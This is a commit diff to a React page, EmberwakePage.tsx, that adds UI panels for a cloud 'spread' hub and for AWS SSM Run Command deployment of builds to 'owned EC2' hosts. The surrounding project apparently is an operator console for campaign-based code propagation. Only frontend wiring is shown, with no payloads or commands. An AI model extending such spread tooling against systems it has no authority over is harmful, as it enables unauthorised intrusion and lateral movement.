Add ssm_document spread lane for owned EC2 via SSM Run Command.

server/web/src/pages/EmberwakePage.tsx

@@ -1,4 +1,4 @@
-import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
+import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
 import { Link } from 'react-router-dom';
 import { api } from '../api/client';
 import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
@@ -22,12 +22,15 @@ import { usePresence } from '../context/PresenceContext';
 import AlsoHere from '../components/Presence/AlsoHere';
 import ComradeAvatar from '../components/Presence/ComradeAvatar';
 import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
+import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
 import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
 import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
 import { HelpTip } from '../components/HelpTip';
 import './EmberwakePage.css';
 import '../components/Presence/Presence.css';
 
+const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
+
 function CopyChip({ text, label }: { text: string; label: string }) {
   const [ok, setOk] = useState(false);
   const copy = () => {
@@ -506,6 +509,16 @@ export default function EmberwakePage() {
         )}
       </section>
 
+      <details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
+        <summary className="emberwake-advanced-summary">
+          <span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
+          <span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
+        </summary>
+        <Suspense fallback={<p className="form-hint">Loading cloud deploy hub…</p>}>
+          <CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
+        </Suspense>
+      </details>
+
       <details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
         <summary className="emberwake-advanced-summary">
           <span className="emberwake-section-title">
@@ -552,6 +565,16 @@ export default function EmberwakePage() {
         </ul>
       </details>
 
+      <details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
+        <summary className="emberwake-advanced-summary">
+          <span className="emberwake-section-title">
+            Spread methods — AWS SSM Document <HelpTip field="ew_ssm_document" />
+          </span>
+          <span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
+        </summary>
+        <SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
+      </details>
+
       <section
         className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
         aria-labelledby="ew-techniques-heading"